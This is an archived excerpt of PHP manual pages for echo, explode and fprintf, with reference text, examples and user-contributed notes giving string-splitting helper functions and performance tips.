A way to color your echo output is to use shell_exec and the echo command (this only works on Linux/bash) in the following way:

<?php
echo shell_exec('echo "\e[0;31m Red color \e[0;32mGreen color \e[0m No color "');
?>

See http://wiki.archlinux.org/index.php/Color_Bash_Prompt for more colors and other options.
sandaimespaceman at gmail dot com 31-Aug-2008 11:25
Outputting \n won't generate a line break in the browser, <br /> is required for line break. Also,
<?php
echo "first line";
echo "second line";
?>
will like
first linesecond line
because you didn't insert spaces/line breaks.
the echo function can also be written like
<?php
echo ('text here')
?>
nikolaas dot mennega at links dot com dot au 31-Oct-2007 11:04
hemanman at gmail dot com, the problem is that func() doesn't actually return a value (string or otherwise), so the result of echoing func() is null.

With the comma version, each argument is evaluated and echoed in turn: first the literal string (simple), then func(). Evaluating a function call obviously calls the function (and in this case executes its own internal echo), and the result (null) is then echoed accordingly. So we end up with "outside func() within func()" as we would expect.

Thus:

<?php
echo "outside func ()\n", func ();
?>

effectively becomes:

<?php
echo "outside func ()\n";
//func ()
{
echo "within func ()\n";
}
echo '';
?>

The dot version is different: there's only one argument here, and it has to be fully evaluated before it can be echoed as requested. So we start at the beginning again: a literal string, no problem, then a concatenator, then a function call. Obviously the function call has to be evaluated before the result can be concatenated with the literal string, and THAT has to happen BEFORE we can complete the echo command. But evaluating func() produces its own call to echo, which promptly gets executed.

Thus:

<?php
echo "outside func ()\n" . func ();
?>

effectively becomes:

<?php
//func ()
{
echo "within func ()\n";
}
echo "outside func ()\n" . '';
?>
Jason Carlson - SiteSanity 16-May-2005 10:28
In response to Ryan's post with his echobig() function, using str_split wastes memory resources for what you are doing.

If all you want to do is echo smaller chunks of a large string, I found the following code to perform better and it will work in PHP versions 3+

<?php
function echobig($string, $bufferSize = 8192)
{
  // suggest doing a test for Integer & positive bufferSize
  for ($chars=strlen($string)-1,$start=0;$start <= $chars;$start += $bufferSize) {
    echo substr($string,$start,$buffer_size);
  }
}
?>
ryan at wonko dot com 27-Feb-2005 12:56
Due to the way TCP/IP packets are buffered, using echo to send large strings to the client may cause a severe performance hit. Sometimes it can add as much as an entire second to the processing time of the script. This even happens when output buffering is used.

If you need to echo a large string, break it into smaller chunks first and then echo each chunk. The following function will do the trick in PHP5:

<?php
function echobig($string, $bufferSize = 8192)
{
    $splitString = str_split($string, $bufferSize);

    foreach($splitString as $chunk)
        echo $chunk;
}
?>
zombie)at(localm)dot(org) 25-Jan-2003 11:26
[Ed. Note: During normal execution, the buffer (where echo's arguments go) is not flushed (sent) after each write to the buffer. To do that you'd need to use the flush() function, and even that may not cause the data to be sent, depending on your web server.]

Echo is an i/o process and i/o processes are typically time consuming. For the longest time i have been outputting content by echoing as i get the data to output. Therefore i might have hundreds of echoes in my document. Recently, i have switched to concatenating all my string output together and then just doing one echo at the end. This organizes the code more, and i do believe cuts down on a bit of time. Likewise, i benchmark all my pages and echo seems to influence this as well. At the top of the page i get the micro time, and at the end i figure out how long the page took to process. With the old method of "echo as you go" the processing time seemed to be dependent on the user's net connection as well as the servers processing speed. This was probably due to how echo works and the sending of packets of info back and forth to the user. One an one script i was getting .0004 secs on a cable modem, and a friend of mine in on dialup was getting .2 secs. Finally, to test that echo is slow; I built strings of XML and XSLT and used the PHP sablotron functions to do a transformation and return a new string. I then echoed the string. Before the echo, the process time was around .025 seconds and .4 after the echo. So if you are big into getting the actual processing time of your scripts, don't include echoes since they seem to be user dependent. Note that this is just my experience and it could be a fluke.
crypt
explode
String Functions


Split a string by string

echo
fprintf
String Functions
PHP Manual

explode

(PHP 4, PHP 5)

explode — Split a string by string

Description

array explode ( string $delimiter , string $string [, int $limit ] )

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter.

Parameters

delimiter

The boundary string.

string

The input string.

limit

If limit is set and positive, the returned array will contain a maximum of limit elements with the last element containing the rest of string.

If the limit parameter is negative, all components except the last -limit are returned.

If the limit parameter is zero, then this is treated as 1.

Although implode() can, for historical reasons, accept its parameters in either order, explode() cannot. You must ensure that the delimiter argument comes before the string argument.

Return Values

Returns an array of strings created by splitting the string parameter on boundaries formed by the delimiter.

If delimiter is an empty string (""), explode() will return FALSE. If delimiter contains a value that is not contained in string and a negative limit is used, then an empty array will be returned, otherwise an array containing string will be returned.

Changelog

Version | Description
5.1.0 | Support for negative limits was added
4.0.1 | The limit parameter was added

Examples

Example #1 explode() examples

<?php
// Example 1
$pizza  = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// Example 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

Example #2 limit parameter examples

<?php
$str = 'one|two|three|four';

// positive limit
print_r(explode('|', $str, 2));

// negative limit (since PHP 5.1)
print_r(explode('|', $str, -1));
?>

The above example will output:

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

Notes

Note: This function is binary-safe.

See Also

  • preg_split() - Split string by a regular expression
  • str_split() - Convert a string to an array
  • mb_split() - Split multibyte string using regular expression
  • str_word_count() - Return information about words used in a string
  • strtok() - Tokenize string
  • implode() - Join array elements with a string

User Contributed Notes

eye_syah88 at yahoo dot com 30-May-2011 12:32
a simple one line method to explode & trim whitespaces from the exploded elements

array_map('trim',explode(",",$str));

example:

$str="one  ,two  ,       three  ,  four    ";
print_r(array_map('trim',explode(",",$str)));

Output:

Array ( [0] => one [1] => two [2] => three [3] => four )
Rijk van Wel 17-May-2011 08:05
Here's another one of those functions that allow you to work with an escaped delimiter. It works by internally url-encoding the escaped delimiters before calling explode(). So if your delimiter is a %, you should use another encoding function ;)

<?php
function explode_escaped( $delimiter, $string ) {
    $string = str_replace( '\\' . $delimiter, urlencode( $delimiter ), $string );
    return array_map( 'urldecode', explode( $delimiter, $string ) );
}
?>
bernard.schenk [at] bordet.be 17-May-2011 02:53
Nifty multiple explode function:

<?php
function multipleExplode($delimiters = array(), $string = ''){

    $mainDelim=$delimiters[count($delimiters)-1]; // dernier

    array_pop($delimiters);

    foreach($delimiters as $delimiter){

        $string= str_replace($delimiter, $mainDelim, $string);

    }

    $result= explode($mainDelim, $string);
    return $result;

}
?>
alexander at textalk dot se 12-Apr-2011 12:27
If the string begins or ends with the delimiter:

<?php

$path = '/one/two/three/';
$folderNames = explode('/', $path);
print_r($folderNames);

?>

Will give:

Array
(
    [0] =>
    [1] => one
    [2] => two
    [3] => three
    [4] =>
)
lm at ms dot net 23-Mar-2011 03:58
while explode() and implode() are counterparts, note that it does NOT work for an empty delimiter!

solution: use str_split($str) instead of explode('', $str)

example:
<?php
$str1 = 'abc';
var_dump($str1);

$str2 = implode(',' , explode(',' , $str1)); // OK (explode with non-empty delimiter)
var_dump($str2);

$str3 = implode('' , str_split($str1));      // OK (str_split)
var_dump($str3);

$str4 = implode('' , explode('' , $str1));   // ERROR! (explode with empty delimiter)
var_dump($str4);
?>

returns:
string 'abc' (length=3)
string 'abc' (length=3)
string 'abc' (length=3)
Warning: explode() [function.explode]: Empty delimiter.
Warning: implode() [function.implode]: Bad arguments.
null
Kamba Jeno 19-Mar-2011 05:47
if u cannot use the original function explode, or your version is less than 4.0.1 you can use this example  whith optional limit argument.

<?php
function exploding($separator,$string,$limit=NULL){
$returnarray = array();
$increment = 0;
$length = strlen($string);
$limit_negative=($limit < 0);

    for($i = 0; $i < $length;$i++){
        $current = substr($string,$i,1);
         //main explode function
            if($separator == $current){
            $increment++;
            }
            elseif($separator == ""){
            @$returnarray[$increment].=$current;
            $increment++;
            }
            else{
            @$returnarray[$increment].=$current;
            }
        //if limit is positive
        if(isset($limit) && $limit == $increment){
        break;
        }

    }
    //if limit is negative
    if($limit_negative){
        for($i = 0; $i > $limit;$i--){
           array_pop($returnarray);
           }

    }
return $returnarray;
}

//Test
$something = "Kamba.jeno.attila";

$result = exploding(".",$something)
/*returns
array(3) {
[0]=> string(5) "Kamba"
[1]=> string(4) "Jeno"
[2]=> string(6) "Attila" }
*/

$result2 = exploding(".",$something,1)
/*returns
array(1) {
[0]=> string(5) "Kamba" }
*/

$result3 = exploding(".",$something,-1)
/*returns
array(2) {
[0]=> string(5) "Kamba"
[1]=> string(4) "Jeno" }
*/
?>
Aram Kocharyan 27-Feb-2011 07:04
Here is a function to explode a comma separated string and trim the elements of any whitespace that may come before or after the comma, and will also trim whitespace from the front and end of the string, as well as allow you to specify a delimiter yourself.

<?php

/* Performs explode() on a string with the given delimiter and trims all whitespace for the elements */
function explode_trim($str, $delimiter = ',') {
    if ( is_string($delimiter) ) {
        $str = trim(preg_replace('|\\s*(?:' . preg_quote($delimiter) . ')\\s*|', $delimiter, $str));
        return explode($delimiter, $str);
    }
    return $str;
}

// Test
$str = '    mouse ,cat , dog  ,  human    ';
$array = explode_trim($str);
print_r($array);

?>

This will output:
(
    [0] => mouse
    [1] => cat
    [2] => dog
    [3] => human
)
jehoshua02 at gmail dot com 22-Feb-2011 11:37
If you are looking for a simpler multi-explode that returns a flat array, use a regular expression to standardize all delimiters before exploding.

<?php

// function to explode on multiple delimiters
function multi_explode($pattern, $string, $standardDelimiter = ':')
{
    // replace delimiters with standard delimiter, also removing redundant delimiters
    $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);

    // return the results of explode
    return explode($standardDelimiter, $string);
}

// test

    // set up variables
    $string = "zero  one | two :three/ four\ five:: six|| seven eight nine\n ten \televen twelve thirteen fourteen fifteen";
    $pattern = '/[:\|\\\\\/\s]/';  // colon (:), pipe (escaped '\|'), slashes (escaped '\\\\' and '\/'), white space (\s)

    // call function
    $result = multi_explode($pattern, $string);

    // display results
    var_dump($result);

?>

Output:

array
  0 => string 'zero' (length=4)
  1 => string 'one' (length=3)
  2 => string 'two' (length=3)
  3 => string 'three' (length=5)
  4 => string 'four' (length=4)
  5 => string 'five' (length=4)
  6 => string 'six' (length=3)
  7 => string 'seven' (length=5)
  8 => string 'eight' (length=5)
  9 => string 'nine' (length=4)
  10 => string 'ten' (length=3)
  11 => string 'eleven' (length=6)
  12 => string 'twelve' (length=6)
  13 => string 'thirteen' (length=8)
  14 => string 'fourteen' (length=8)
  15 => string 'fifteen' (length=7)

See:
http://www.php.net/manual/en/book.pcre.php
dhz 30-Dec-2010 09:21
A one-liner to extract a portion of a string, starting from the END of the string....
<?php
$extracted_string = implode('.', array_slice(explode('.', $original_string), -2));
?>
jamestrowbridge at gmail dot com 19-Dec-2010 12:50
FYI, use double quotes for the separator parameter:

<?php
$string = "Hello\nHello\nHello";
$arr = explode('\n',$string);//Using single quotes
print_r($arr);
/*
Returns:
Array
(
    [0] => Hello
Hello
Hello
)
*/
?>
Is different than:
<?php
$string = "Hello\nHello\nHello";
$arr = explode("\n",$string);//Using double quotes
print_r($arr);
/*
Returns:
Array
(
    [0] => Hello
    [1] => Hello
    [2] => Hello
)
*/
?>
xananax at yelostudio dot com 10-Nov-2010 06:18
I needed a way to explode an array, just like one would explode a string, and could not find anything on the net.
Maybe this can be made more efficient, but it fits my purpose. Contributions and comments welcome.
<?php
    /**
     * Allows to explode an array into multiple arrays on a set delimiter.
     * Delimiter Can be set either by key, or by value, or by both (in which case,
     * both key and value must be strictly equal to values provided).
     * Note that numeric indexes don't work since the original array is reduced
     * at each loop (thus making numerical indexes useless).
     * @param array $array the array to explode
     * @param mixed $key the key to check
     * @param mixed $value the value to check
     * @param int $limit You can limit the number of parts with this. If set to 0, limit is infinite
     * @param boolean $removeDelimiter if set to TRUE, removes the delimiter key from the returned arrays
     * @return array|boolean an array of as many parts as needed, or FALSE on error.
     */
    function array_explode(array $array, $key=NULL, $value=NULL, $limit=0, $removeDelimiter=TRUE){
        if($key===NULL && $value===NULL){return FALSE;}
        $parts = array();
        $delimiter = NULL;
        $partsN = 0;
        while($v = current($array)){
            $k = key($array);
            if(
                (($key!==NULL && $value!==NULL) && ($k===$key && $v===$value)) ||
                ($key!==NULL && $value===NULL && $k===$key) ||
                ($value!==NULL && $key===NULL && $v===$value)
            ){
                $delimiter = TRUE;
                if($removeDelimiter){array_shift($array);}
                $partsN++;
                if($partsN===$limit){$parts[$partsN] = $array;return $parts;}
            }
            $parts[$partsN][] = array_shift($array);
        }
        if($delimiter){
            return $parts;
        }
        return FALSE;
    }
?>
mvpetrovich 09-Sep-2010 05:35
In using explode, with the list command, you will get errors if the number of variables is larger than the produced array by explode.

For example:

<?php
$str = 'aa|bb|cc';
list($one, $two, $three, $four) = explode('|', $str);
?>

To solve these cases, where you would like to assign empty strings to the extra variables (and eliminate errors), append a delimiter string to the string as follows.

<?php
$str = 'aa|bb|cc';
list($one, $two, $three, $four) = explode('|', $str . '|||');
?>

This way, the list variables will always be assigned.
tiago dot dias at flow-me dot com 09-Sep-2010 03:40
Beaware splitting empty strings.

<?php
$str = "";
$res = explode(",", $str);
print_r($res);
?>

If you split an empty string, you get back a one-element array with 0 as the key and an empty string for the value.

Array
(
    [0] =>
)

To solve this, just use array_filter() without callback. Quoting manual page "If the callback function is not supplied, array_filter() will remove all the entries of input that are equal to FALSE.".

<?php
$str = "";
$res = array_filter(explode(",", $str));
print_r($res);
?>

Array
(
)
Cody G. 08-Aug-2010 06:41
I'm sure you guys get just a bit frustrated at times when you need a fraction of a very simple string and you use "explode()", but then you have to define a whole extra variable. (That is because you need to store a function-returned array in a variable before you can extract a value).

If you're extracting the last half, or third, of a string, there's an easy inline workaround. Check this:

<?php
 $mystr = "separated-text";
 print(str_replace("-","",strstr("-",$mystr)));
 //Returns "text"
?>

If the separator (dash) can be left in, you don't even need the "str_replace()" function.

Lets try this with 3 fractions:

<?php
 $mystr = "separated-text-again";
 //Comment submission wouldn't let me
 // combine this into one statement.
 // That's okay, it's more readable.
 $split1 = str_replace("-","",strstr("-",$mystr));
 print(str_replace("-","",strstr("-",$split1)));
 //Returns "again"
?>

Anything more than 3 fractions gets really confusing, in that case you should use "explode()".

Hope this helps!
~Cody G.
m0gr14 at gmail dot com 31-Jul-2010 07:02
Here's a function for "multi" exploding a string.

<?php
//the function
//Param 1 has to be an Array
//Param 2 has to be a String
function multiexplode ($delimiters,$string) {
    $ary = explode($delimiters[0],$string);
    array_shift($delimiters);
    if($delimiters != NULL) {
        foreach($ary as $key => $val) {
             $ary[$key] = multiexplode($delimiters, $val);
        }
    }
    return  $ary;
}

// Example of use
$string = "1-2-3|4-5|6:7-8-9-0|1,2:3-4|5";
$delimiters = Array(",",":","|","-");

$res = multiexplode($delimiters,$string);
echo '<pre>';
print_r($res);
echo '</pre>';

//returns
/*
Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 1
                            [1] => 2
                            [2] => 3
                        )

                    [1] => Array
                        (
                            [0] => 4
                            [1] => 5
                        )

                    [2] => Array
                        (
                            [0] => 6
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 7
                            [1] => 8
                            [2] => 9
                            [3] => 0
                        )

                    [1] => Array
                        (
                            [0] => 1
                        )

                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 2
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 3
                            [1] => 4
                        )

                    [1] => Array
                        (
                            [0] => 5
                        )

                )

        )

)
*/
?>
info at noextratime dot com 04-Jul-2010 01:09
Here is a function for "double" exploding a string, like in the case of a flattened multi-dimensional array.
<?php

function doubleExplode ($del1, $del2, $array){
    $array1 = explode("$del1", $array);
foreach($array1 as $key=>$value){
$array2 = explode("$del2", $value);
foreach($array2 as $key2=>$value2){
$array3[] = $value2;
}
}
    $afinal = array();
for ( $i = 0; $i <= count($array3); $i += 2) {
    if($array3[$i]!=""){
    $afinal[trim($array3[$i])] = trim($array3[$i+1]);
    }
}
return $afinal;
}
$proddetails = 'Size=Large, Color=Black';
$test = doubleExplode(',', '=', $proddetails);
print_r($test);
?>

/*
Array
(
    [Size] => Large
    [Color] => Black
)
*/
jessebusman at gmail dot com 27-May-2010 12:45
Sometimes you need to explode a string by different delimiters. In that case you can use this function:

<?php
print_r(explodeX(Array(".","!"," ","?",";"),"This.sentence?contains wrong;characters"));
// Returns:
// Array("This","sentence","contains","wrong","characters")

function explodeX($delimiters,$string)
{
    $return_array = Array($string); // The array to return
    $d_count = 0;
    while (isset($delimiters[$d_count])) // Loop to loop through all delimiters
    {
        $new_return_array = Array();
        foreach($return_array as $el_to_split) // Explode all returned elements by the next delimiter
        {
            $put_in_new_return_array = explode($delimiters[$d_count],$el_to_split);
            foreach($put_in_new_return_array as $substr) // Put all the exploded elements in array to return
            {
                $new_return_array[] = $substr;
            }
        }
        $return_array = $new_return_array; // Replace the previous return array by the next version
        $d_count++;
    }
    return $return_array; // Return the exploded elements
}
?>
Onur Nizam onur dot nizam at yahoo dot com 16-May-2010 12:27
The regular expression parameters such as \n or \t can be used as well as other strings as the delimeter which can be used to parse any given text files or downloaded web pages to read line by line.

An example may be considered as, name surname and phone numbers are written into a text file line by line and columns are seperated by tabs, can be exploded and read easily through the return and tab characters. After storing them in the array they can be manipulated or displayed in any other formats.

<?php
// Explode text file and store each row of the file into the array elements
function explodeRows($data) {
  $rowsArr = explode("\n", $data);
  return $rowsArr;
}

// Explode the columns according to tabs
function explodeTabs($singleLine) {
  $tabsArr = explode("\t", $singleLine);
  return $tabsArr;
}

// Open the text file and get the content
$filename = "phonebook.txt";
$handle   = fopen($filename, 'r');
$data     = fread($handle, filesize($filename));
$rowsArr  = explodeRows($data);

// Display content which is exploded by regular expression parameters \n and \t
for($i=0;$i<count($rowsArr);$i++) {
  $lineDetails = explodeTabs($rowsArr[$i]);
    echo "<br>Name : " . $lineDetails[0];
    echo "<br>Surname : " . $lineDetails[1];
    echo "<br>Tel Number : " . $lineDetails[2];
    echo "<br><br>";
}

/*
phonebook.txt text file can be something like this;
name1    sname1    +905429998877
name2    sname2    +905429998876
name3    sname3    +905429998875

The output will be as follows;
Name : name1
Surname : sname1
Tel Number : +905429998877

Name : name2
Surname : sname2
Tel Number : +905429998876

Name : name3
Surname : sname3
Tel Number : +905429998875
*/

?>
drieick at hotmail dot com 21-Apr-2010 08:34
When explode is given an empty $string, it'll return an array with a single empty element.

<?php

# returns Array([0] => );
print_r(explode(',', ''));

?>

This is not a bug, but it can be pretty tricky (especially with callbacks that expect a certain type of array). So, be sure to check your arrays. It's not a bug, because there's nothing to split.
locoluis at gmail dot com 08-Apr-2010 09:02
That with all stateful encodings that use bytes between 0x00 and 0x7f for something other than, say, encoding ASCII characters. Including GBK, BIG5, Shift-JIS etc.

explode and other such PHP functions work on bytes, not characters.

What you do is to convert the string to UTF-8 using iconv(), then explode, then go back to GBK.
gxd305 at gmail dot com 16-Nov-2009 05:47
when the encoding of $string  is 'GBK' and $delimiter is '|' , the return value may be wrong.
for example:

<?php
$result = explode("|", "滕华弢|海青");
var_dump($result);
?>

and the result will be:
array (
  0 => '滕华,
  1 => '',
  2 => '海青',
)

bcz "弢" 's GBK is '0x8f7c'. and "|" 's ASCII is '0x7c'.

So, all GBK-encoding characters include '7c' will lead to the error result.
nick dot brown at free dot fr 14-Oct-2009 03:47
My application was running out of memory (my hosting company limits PHP to 32MB).  I have a string containing between 100 and 20000 triplets, separated by a space, with each triplet consisting of three double-precision numbers, separated by commas.  Total size of the biggest string, with 20000 triplets, is about 1MB.

The application needs to split the string into triplets, then split the triplet into numbers.  In C, this would take up about 480K (20000 times 3 x 8 bytes) for the final array.  The intermediate array of strings shouldn't be much bigger than the long string itself (1MB).  And I expect some overhead from PHP, say 300% to allow for indexes etc.

Well, PHP5 manages to run out of memory *at the first stage* (exploding the string on the space character).  I'm expecting to get an array of 20000 strings, but it needs more than 32MB to store it.  Amazing.

The workaround was easy and had the bonus of producing faster code (I compared it on a 10000 triplet string).  Since in any case I had to split up the numeric triplets afterwards, I decided to use preg_match_all() on the original string.  Despite the fact that the resulting "matches" array contains more data per element than the result of explode() - because it stores the matched triplet, plus its component numbers - it takes up far less memory.

Moral: be careful when using explode() on big strings, as it can also explode your memory usage.
Jrg Wagner 12-Oct-2009 02:28
Here is a very concise example for a quote aware explode - substrings in quotes (or another definable enclosure char) are not exploded.
An additional parameter allows to determine whether the enclosure chars should be preserved within the resulting array elements. Please note that as of PHP 5.3 the str_getcsv function offers a built-in way to do this!

<?php
function csv_explode($delim=',', $str, $enclose='"', $preserve=false){
  $resArr = array();
  $n = 0;
  $expEncArr = explode($enclose, $str);
  foreach($expEncArr as $EncItem){
    if($n++%2){
      array_push($resArr, array_pop($resArr) . ($preserve?$enclose:'') . $EncItem.($preserve?$enclose:''));
    }else{
      $expDelArr = explode($delim, $EncItem);
      array_push($resArr, array_pop($resArr) . array_shift($expDelArr));
      $resArr = array_merge($resArr, $expDelArr);
    }
  }
  return $resArr;
}
?>
Anonymous 28-Sep-2009 03:20
Note to the previous example: we can do the whole string->array conversion using explode() exclusively.

<?php
    // converts pure string into a trimmed keyed array
    function string_2_array( $string, $delimiter = ',', $kv = '=>')
    {
        if ($element = explode( $delimiter, $string ))
        {
            // create parts
            foreach ( $element as $key_value )
            {
                // key -> value pair or single value
                $atom = explode( $kv, $key_value );

                if( trim($atom[1]) )
                {
                  $key_arr[trim($atom[0])] = trim($atom[1]);
                }
                else
                {
                    $key_arr[] = trim($atom[0]);
                }
            }
        }
        else
        {
            $key_arr = false;
        }

        return $key_arr;
    }
?>
Anonymous 02-Sep-2009 07:18
<?php
// converts pure string into a trimmed keyed array
function string2KeyedArray($string, $delimiter = ',', $kv = '=>') {
  if ($a = explode($delimiter, $string)) { // create parts
    foreach ($a as $s) { // each part
      if ($s) {
        if ($pos = strpos($s, $kv)) { // key/value delimiter
          $ka[trim(substr($s, 0, $pos))] = trim(substr($s, $pos + strlen($kv)));
        } else { // key delimiter not found
          $ka[] = trim($s);
        }
      }
    }
    return $ka;
  }
} // string2KeyedArray

$string = 'a=>1, b=>23   , $a, c=> 45% , true,d => ab c ';
print_r(string2KeyedArray($string));
?>

Array
(
  [a] => 1
  [b] => 23
  [0] => $a
  [c] => 45%
  [1] => true
  [d] => ab c
)
Anonymous 10-Aug-2009 10:55
If you are exploding string literals in your code that have a dollar sign ($) in it, be sure to use single-quotes instead of double-quotes, since php will not spare any chance to interpret the variable-friendly characters after the dollar signs as variables, leading to unintended consequences, the most typical being missing characters.

<?php
$doubleAr = explode(" ", "The $quick brown fox");
$singleAr = explode(" ", 'The $quick brown fox');
echo $doubleAr[1]; // prints "";
echo $singleAr[1]; // prints "$quick";
?>
vzverev at nm dot ru 24-Jul-2009 07:33
If you are going to use foreach after explode(), call reset() before foreach:
<?php
$arr = explode("\n", 'test \n test2 \n test3');
reset($arr);
foreach($arr as $line)
{ /* do something */ ; }
?>
marcus at synchromedia dot co dot uk 15-Jun-2009 06:50
Just in case the comment about empty strings is not clear:

<?php
$a = array();
var_dump($a);
$s = implode("\n", $a);
var_dump($s);
$b = explode("\n", $s);
var_dump($b);
$b = preg_split('/\n/', $s,-1,PREG_SPLIT_NO_EMPTY);
var_dump($b);
?>

Results in:

array(0) {
}
string(0) ""
array(1) {
  [0]=>
  string(0) ""
}
array(0) {
}

i.e. exploding an empty string results in an array with one element. You can use preg_split to skip the empty item, but that may not be quite what you need should your array have empty elements intentionally.
SR 21-Apr-2009 07:50
Keep in mind that explode() can return empty elements if the delimiter is immediately repeated twice (or more), as shown by the following example:

<?php
$foo = 'uno dos  tres'; // two spaces between "dos" and "tres"
print_r(explode(' ', $foo));
?>

Array
(
    [0] => uno
    [1] => dos
    [2] =>
    [3] => tres
)

Needless to say this is definitely not intuitive and must be handled carefully.
Michael 19-Apr-2009 02:29
Here's a simple script which uses explode() to check to see if an IP address is in an array (can be used as a ban-check, without needing to resort to database storage and queries).

<?php

 function denied($one) {

  $denied = array(

   0 => '^255.255.255.255',
   1 => '^255.250',
   2 => '^255.255.250'

  );

  for ($i = 0 ; $i < sizeof($denied) ; $i++) {

   if (sizeof(explode($denied[$i], '^' . $one . '$')) == 2) {
    return true;
   }

  }

  return false;

 }

 if (denied($_SERVER['REMOTE_ADDR'])) {
  header('Location: denied.php');
 }

?>
Navi 31-Mar-2009 04:03
<?php
function my_explode($delim, $str, $lim = 1)
{
    if ($lim > -2) return explode($delim, $str, abs($lim));

    $lim = -$lim;
    $out = explode($delim, $str);
    if ($lim >= count($out)) return $out;

    $out = array_chunk($out, count($out) - $lim + 1);

    return array_merge(array(implode($delim, $out[0])), $out[1]);
}
?>
This function can assume `limit' parameter less than 0, for example:
<?php
print_r(my_explode('.', 'file.some.ext.jpg', -2));
?>
prints
Array
(
    [0] => file.some.ext
    [1] => jpg
)
adrian at bilsoftware dot com 23-Feb-2009 02:40
<?php
function explode_escaped($delimiter, $string){
        $exploded = explode($delimiter, $string);
        $fixed = array();
        for($k = 0, $l = count($exploded); $k < $l; ++$k){
            if($exploded[$k][strlen($exploded[$k]) - 1] == '\\') {
                if($k + 1 >= $l) {
                    $fixed[] = trim($exploded[$k]);
                    break;
                }
                $exploded[$k][strlen($exploded[$k]) - 1] = $delimiter;
                $exploded[$k] .= $exploded[$k + 1];
                array_splice($exploded, $k + 1, 1);
                --$l;
                --$k;
            } else $fixed[] = trim($exploded[$k]);
        }
        return $fixed;
    }
?>

Here's a function which explodes string with delimiter, but if delimiter is "escaped" by backslash, function won't split in that point. Example:

<?php

$result = explode_escaped(',', 'string, piece, group\, item\, item2, next\,asd');
print_r($result);
?>
Will give:
Array
(
    [0] => string
    [1] => piece
    [2] => group, item, item2
    [3] => next,asd
)
Elad Elrom 04-Dec-2008 09:02
<?php
// Remove words if more than max allowed character are insert or add a string in case less than min are displayed
// Example: LimitText("The red dog ran out of thefence",15,20,"<br>");

function LimitText($Text,$Min,$Max,$MinAddChar) {
   if (strlen($Text) < $Min) {
       $Limit = $Min-strlen($Text);
       $Text .= $MinAddChar;
   }
   elseif (strlen($Text) >= $Max) {
       $words = explode(" ", $Text);
       $check=1;
       while (strlen($Text) >= $Max) {
           $c=count($words)-$check;
           $Text=substr($Text,0,(strlen($words[$c])+1)*(-1));
           $check++;
       }
   }

   return $Text;
}
?>
Nobody 16-Nov-2008 05:38
A really better and shorter way to get extension is via:

<?php $extension = end(explode('.', $filename)); ?>

this will print the last part after the last dot :)
shaun 29-Aug-2008 12:24
For anyone trying to get an array of key => value pairs from a query string, use parse_str.  (Better alternative than the explode_assoc function listed way down the page unless you need different separators.)
pinkgothic at gmail dot com 15-Oct-2007 02:26
coroa at cosmo-genics dot com mentioned using preg_split() instead of explode() when you have multiple delimiters in your text and don't want your result array cluttered with empty elements. While that certainly works, it means you need to know your way around regular expressions... and, as it turns out, it is slower than its alternative. Specifically, you can cut execution time roughly in half if you use array_filter(explode(...)) instead.

Benchmarks (using 'too many spaces'):
Looped 100000 times:
preg_split: 1.61789011955 seconds
filter-explode: 0.916578054428 seconds

Looped 10000 times:
preg_split: 0.162719011307 seconds
filter-explode: 0.0918920040131 seconds

(The relation is, evidently, pretty linear.)

Note: Adding array_values() to the filter-explode combination, to avoid having those oft-feared 'holes' in your array, doesn't remove the benefit, either. (For scale - the '9' becomes a '11' in the benchmarks above.)

Also note: I haven't tested anything other than the example with spaces - since djogo_curl at yahoo's note seems to imply that explode() might get slow with longer delimiters, I expect this would be the case here, too.

I hope this helps someone. :)
seventoes at gmail dot com 09-Dec-2006 07:49
Note that explode, split, and functions like it, can accept more than a single character for the delimiter.

<?php
$string = "Something--next--something else--next--one more";

print_r(explode('--next--',$string));
?>
djogo_curl at yahoo 01-Dec-2004 04:50
Being a beginner in php but not so in Perl, I was used to split() instead of explode(). But as split() works with regexps it turned out to be much slower than explode(), when working with single characters.
coroa at cosmo-genics dot com 16-Nov-2003 08:01
To split a string containing multiple seperators between elements rather use preg_split than explode:

preg_split ("/\s+/", "Here  are    to    many  spaces in   between");

which gives you
array ("Here", "are", "to", "many", "spaces", "in", "between");
echo
fprintf
String Functions


Write a formatted string to a stream

explode
get_html_translation_table
String Functions
PHP Manual

fprintf

(PHP 5)

fprintf — Write a formatted string to a stream

Description

int fprintf ( resource $handle , string $format [, mixed $args [, mixed $... ]] )

Write a string produced according to format to the stream resource specified by handle.

Parameters

handle

A file system pointer resource that is typically created using fopen().

format

See sprintf() for a description of format.

args

...

Return Values

Returns the length of the string written.

Examples

Example #1 fprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w'))) {
    return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// will write the formatted ISO date to date.txt
?>

Example #2 fprintf(): formatting currency

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
    return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$len = fprintf($fp, '%01.2f', $money);
// will write "123.10" to currency.txt

echo "wrote $len bytes to currency.txt";
// use the return value of fprintf to determine how many bytes we wrote
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

jgbreezer at hotmail dot com 07-Sep-2006 07:14
Another alternative using sprintf and fwrite() for pre-v5 php's:

fwrite( resource, sprintf(format [, mixed args [, mixed ...]] ))

Barring slight logical differences in meaning of returned value and (maybe??) how it handles magic_quotes_runtime config option, see fwrite() help.
aidan at php dot net 30-May-2004 10:35
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
explode
get_html_translation_table
String Functions


Returns the translation table used by htmlspecialchars and htmlentities

fprintf
hebrev
String Functions
PHP Manual
